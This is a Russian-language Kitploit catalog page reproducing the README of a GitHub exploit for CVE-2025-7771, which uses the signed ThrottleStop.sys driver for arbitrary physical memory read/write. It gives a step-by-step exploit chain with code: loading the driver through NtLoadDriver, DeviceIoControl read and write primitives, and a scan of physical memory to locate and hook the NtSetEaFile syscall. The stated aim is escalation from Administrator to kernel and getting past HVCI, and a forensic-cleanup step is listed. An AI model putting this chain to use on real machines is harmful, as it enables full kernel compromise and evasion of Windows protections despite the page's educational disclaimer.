Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/d4rkks/cve-2025-7771-vulnerability-exploration
Повышение привилегийКриминалистика памятиЭксплуатацияПост-эксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubd4rkks/cve-2025-7771-vulnerability-exploration

CVE-2025-7771-Vulnerability-Exploration

Повышение привилегий в системе с помощью неподписанного драйвера, используя уязвимость ThrottleStop

Репозиторий
131115 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔓 Эксплойт ядра ThrottleStop.sys — Маппер физической памяти, совместимый с HVCI

CVE-2025-7771 — Произвольное чтение/запись физической памяти через IOCTL драйвера ThrottleStop.sys

⚠️ Отказ от ответственности

Данный проект опубликован только в образовательных и исследовательских целях. Цель — продемонстрировать, как подписанный, доверенный драйвер ядра может быть использован для локального повышения привилегий (LPE) от Администратора до SYSTEM/Ядра, эффективно обходя современные функции безопасности Windows, включая HVCI (Целостность кода, контролируемая гипервизором) и Secure Boot.

Не используйте этот инструмент в злонамеренных целях. Автор не несет ответственности за любое неправомерное использование.


📋 Содержание

  • Краткое описание уязвимости
  • Затронутое ПО
  • Технический анализ
    • Уязвимые IOCTL
    • Корневая причина
  • Цепочка эксплуатации
    • Шаг 1 — Загрузка уязвимого драйвера
    • Шаг 2 — Примитивы физической памяти
    • Шаг 3 — Поиск страницы системных вызовов
    • Шаг 4 — Перехват системных вызовов через запись в физическую память
    • Шаг 5 — Произвольное выполнение кода ядра
    • Шаг 6 — Криминалистическая очистка
  • Почему это обходит HVCI
  • Оценка воздействия
  • Сборка и использование
  • Рекомендации по устранению
  • Ссылки

Краткое описание уязвимости

ПолеПодробности
CVECVE-2025-7771
ДрайверThrottleStop.sys (поставляется с ThrottleStop)
ПоставщикTechPowerUp / Kevin Glynn
ТипПроизвольное чтение/запись физической памяти
ВоздействиеЛокальное повышение привилегий (Администратор → Ядро)
CVSS8.2 (Высокий)
ПодписьПодписано Microsoft через WHQL / Attestation
Обход HVCI✅ Да — драйвер легитимно подписан, разрешен политикой CI

Затронутое ПО

  • ThrottleStop — все версии, поставляющие ThrottleStop.sys с IOCTL для отображения физической памяти
  • Windows 10 1903 – 22H2 (x64)
  • Windows 11 21H2 – 24H2 (x64), включая сборки с включенным HVCI
  • Проверено на: Windows 11 26100.x (24H2) с Secure Boot + HVCI

Технический анализ

Уязвимые IOCTL

Драйвер ядра ThrottleStop.sys предоставляет устройство (\\.\ThrottleStop), доступное любому локальному администратору. Он реализует два IOCTL, которые обеспечивают неограниченный доступ к физической памяти:

#define IOCTL_TS_READ_PHYS   0x80006498   // Чтение произвольного физического адреса
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Запись по произвольному физическому адресу

Чтение физической памяти (0x80006498)

Вход:   ULONG64 PhysicalAddress  (8 байт)
Выход:  Буфер данных              (1–8 байт за вызов, определяется OutputBufferLength)

Драйвер вызывает MmMapIoSpace(), чтобы отобразить запрошенный физический адрес в виртуальное пространство ядра, копирует данные в выходной буфер, затем вызывает MmUnmapIoSpace(). Никакой проверки физического адреса не выполняется — можно прочитать любой адрес в физическом адресном пространстве.

Запись физической памяти (0x8000649C)

Вход:   ULONG64 PhysicalAddress (8 байт) + Данные (1–8 байт)
        InputBufferLength = 8 + DataSize
Выход:  Нет

Тот же механизм, что и при чтении, но записывает предоставленные пользователем данные по отображенному физическому адресу. Опять же, никакой проверки адреса или диапазона.

Корневая причина

Драйвер был разработан, чтобы позволить ThrottleStop (утилите для андервольтинга/троттлинга ЦП) напрямую читать/записывать MSR и аппаратные регистры. IOCTL для физической памяти, вероятно, были добавлены для доступа MMIO к конфигурационному пространству PCI или тепловым датчикам ЦП, но реализация выполняет нулевую проверку границ:

  1. ❌ Нет проверки, принадлежит ли физический адрес MMIO или ОЗУ
  2. ❌ Нет проверки, находится ли адрес в пределах предполагаемой области памяти вызывающего
  3. ❌ Нет ограничений ACL, кроме требования дескриптора с GENERIC_READ | GENERIC_WRITE
  4. ❌ Нет белого списка разрешенных диапазонов физических адресов

Это превращает легитимный драйвер аппаратной утилиты в полноценный примитив чтения/записи на уровне ядра.


Цепочка эксплуатации

Цепочка эксплуатации повышает привилегии от локальной учетной записи Администратора до произвольного выполнения кода ядра, фактически достигая контроля ring-0 на уровне SYSTEM.

Шаг 1 — Загрузка уязвимого драйвера

Маппер помещает ThrottleStop.sys в %TEMP%, создает запись службы в реестре по пути HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop и загружает его через NtLoadDriver():

// Включение привилегии SeLoadDriverPrivilege для текущего процесса
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Создание записи службы, указывающей на размещенный .sys файл
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Загрузка через NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Открытие дескриптора устройства
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Примечание: Поскольку ThrottleStop.sys легитимно подписан, он загружается даже при включенном HVCI/Secure Boot. Политика CI Windows доверяет сертификату.

Шаг 2 — Примитивы физической памяти

Имея дескриптор устройства, эксплойт может читать/записывать любой физический адрес в системе:

// Чтение 8 байт из физического адреса 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Запись 8 байт по физическому адресу
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // адрес
*(ULONGLONG*)(input + 8) = shellcode_qword; // данные
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

Эксплойт оборачивает это во вспомогательные функции, которые обрабатывают фрагментированные чтения/записи (1, 2, 4 или 8 байт за вызов) для передачи произвольной длины.

Шаг 3 — Поиск страницы системных вызовов

Чтобы выполнять произвольные функции ядра, эксплойту необходимо найти физический адрес обработчика системного вызова ядра. Он нацеливается на NtSetEaFile (редко отслеживаемый системный вызов):

  1. Вычисление RVA: Загрузите ntoskrnl.exe в пользовательском режиме через LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), получите RVA NtSetEaFile
  2. Вычисление смещения: Поскольку ntoskrnl отображается с большими страницами 2MB, физическое смещение функции внутри страницы 2MB = RVA & 0x1FFFFF
  3. Сканирование физической памяти: Перечислите диапазоны физической памяти из реестра (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), шаг по 2MB и сравнение байтов:
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // быстрая проверка
    {
        read_phys(candidate_pa, verify, 32);  // полная проверка
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // найдено!
            // ... проверка через PsGetProcessSectionBaseAddress
        }
    }
}
  1. Проверка: Вызовите перехваченный системный вызов для вызова PsGetProcessSectionBaseAddress(current_pid) и убедитесь, что возвращенная база соответствует GetModuleHandle(NULL).
Скачать инструмент